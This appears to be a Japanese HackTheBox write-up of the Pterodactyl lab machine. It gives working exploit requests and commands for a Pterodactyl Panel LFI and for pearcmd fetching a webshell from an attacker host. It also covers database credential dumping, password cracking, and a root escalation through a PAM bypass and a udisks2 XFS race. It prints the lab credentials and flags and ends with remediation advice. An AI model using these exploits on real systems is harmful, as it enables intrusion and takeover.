
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.
日付: 2026年4月8日
ターゲット: Pterodactyl (HackTheBox)
難易度: 中
OS: Linux (openSUSE Leap 15.6)
テスター: V0idW1re
HackTheBoxのPterodactylマシンは、設定ミスのあるWebアプリケーションと連鎖的な権限昇格の脆弱性を含む、現実的な攻撃シナリオを示しました。認証されていない状態から開始し、テスターは論理的な一連のエクスプロイトステップを通じて完全なroot権限を取得しました。攻撃チェーンは、認証されていないローカルファイルインクルード脆弱性、PHPパッケージマネージャの巧妙な悪用によるリモートコード実行、認証情報の抽出とクラッキング、そして最後に2つの公開CVEを連鎖させて低権限ユーザーからrootへ昇格することを含みます。
| フィールド | 値 |
|---|---|
| ターゲットIP | 10.129.25.223 |
| ホスト名 | pterodactyl.htb |
| OS | openSUSE Leap 15.6 |
| サービス | SSH (22), HTTP (80) |
| サブドメイン | panel.pterodactyl.htb |
評価は標準的なペネトレーションテストの方法論に従いました:
深刻度: 重大
コンポーネント: Pterodactyl Panel v1.11.10 — /locales/locale.json エンドポイント
説明:
Pterodactyl Panelのロケールエンドポイントは、localeおよびnamespaceクエリパラメータをサニタイズしておらず、ディレクトリトラバーサルを許容していました。アプリケーションがnamespace値に.phpを追加し、PHPのincludeメカニズムを介して読み込んでいたため、攻撃者はサーバーにファイルシステム上の任意のPHPファイルを読み込ませて実行させることができました。
エクスプロイト:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
影響:
データベース認証情報が config/database.php から抽出されました:
pterodactylPteraPanelpanelLaravelアプリケーションキーも config/app.php から抽出されました。
証拠:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
深刻度: 重大
コンポーネント: PHP PEARインストール + LFI
説明:
LFIプリミティブが確立された状態で、テスターはPEARパッケージマネージャの pearcmd.php スクリプトを利用しました。PHP設定で register_argc_argv=On になっている場合(phpinfoで確認)、クエリ文字列はpearcmdによってコマンドライン引数として解析されます。download コマンドを使用して、攻撃者のサーバーからPHPウェブシェルを取得し、パネルの公開Webディレクトリに保存しました。
エクスプロイト:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
影響:
PHPウェブシェルが /var/www/pterodactyl/public/shell.php に書き込まれ、wwwrun ユーザーとして認証なしでリモートコード実行が可能になりました。
証拠:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
深刻度: 高
コンポーネント: MySQLパネルデータベース
説明:
RCEシェルを使用して、テスターはLFIで取得した認証情報を使ってMySQLデータベースに接続しました。usersテーブルには、すべてのパネルユーザーのbcryptハッシュ化されたパスワードが含まれていました。ユーザー phileasfogg3 のハッシュは、一般的なワードリストを使用してオフラインでクラックされました。
エクスプロイト:
SELECT username, password FROM users;
クラックされた認証情報:
phileasfogg3!QAZ2wsx影響:
phileasfogg3 としてSSHアクセスが取得され、ユーザーフラグが取得されました:
user.txt: 916235b4261e70fdb090402c641a7808
深刻度: 高
コンポーネント: PAM設定 — user_readenv=1 が設定された pam_env.so
説明:
openSUSE Leap 15.6のPAM設定は、user_readenv=1 が設定された pam_env.so を介してユーザーの ~/.pam_environment ファイルを読み込みます。このファイルに特定の環境変数を設定することで、非特権のSSHユーザーが systemd-logind とPolkitをだまして、セッションがアクティブな物理コンソールセッションであると信じ込ませ、allow_active 特権を獲得することができます。
エクスプロイト:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
再接続後、SSHセッションは Active=yes として認識され、通常は物理コンソールの存在が必要なudisks2のD-Busメソッドを非特権ユーザーが呼び出せるようになりました。
証拠:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# 認証プロンプトなし
深刻度: 重大
コンポーネント: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
説明:
udisks2がlibblockdevを介してXFSファイルシステムのリサイズを行う際、ファイルシステムイメージを /tmp/blockdev.* 以下の誰でもアクセス可能なディレクトリに、nosuid および nodev マウントフラグなしで一時的にマウントします。これにより、イメージ内に存在する任意のSUIDバイナリが昇格された実効UIDで実行可能となる短い競合状態のウィンドウが生じます。
allow_active Polkit特権(CVE-2025-6018経由で取得)を持つ攻撃者は以下が可能です:
udisksctl loop-setup でループデバイスをセットアップするXFSイメージの互換性に関する重要な注意:
XFSイメージはopenSUSE Leap 15.6 (SP5/SP6)用に特定のフラグで作成する必要があります:
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
エクスプロイト:
# Build malicious XFS image (on attacker machine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# On target — race the resize window
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
証拠:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
ルートフラグ:
root.txt: d3a242011c18cb81f08ad80337330641
| フラグ | 値 |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[認証なし]
↓ CVE-2025-49132 (LFI)
[データベース認証情報]
↓ pearcmd RCE
[wwwrunシェル]
↓ MySQL認証情報ダンプ + ハッシュクラック
[phileasfogg3 SSH]
↓ CVE-2025-6018 (PAMバイパス → allow_active)
↓ CVE-2025-6019 (udisks2 XFSリサイズ競合)
[root]
ターゲットシステムの完全な侵害。このレベルのアクセスを持つ攻撃者は以下が可能です:
※このレポートは、HackTheBoxラボ演習の一環として教育目的で作成されました。すべてのテストは合法的で隔離されたラボ環境で実施されました。
| 発見事項 | 修復策 |
|---|
| CVE-2025-49132 (LFI) | Pterodactyl Panelをv1.11.11以降にアップグレード。これにより、locale/namespaceパラメータに厳格な英数字検証が適用されます。 |
| pearcmd RCE | php.iniで register_argc_argv=Off に設定。不要であればPEARを削除。 |
| 脆弱なパスワード | 強力なパスワードポリシーを適用し、パスワードマネージャーを使用する。 |
| CVE-2025-6018 (PAM) | PAM設定で pam_env.so の user_readenv=0 を設定。 |
| CVE-2025-6019 (udisks2) | udisks2とlibblockdevをパッチ適用済みバージョンにアップグレード。org.freedesktop.udisks2.modify-device のPolkitルールを変更し、allow_active を yes から auth_admin に変更。 |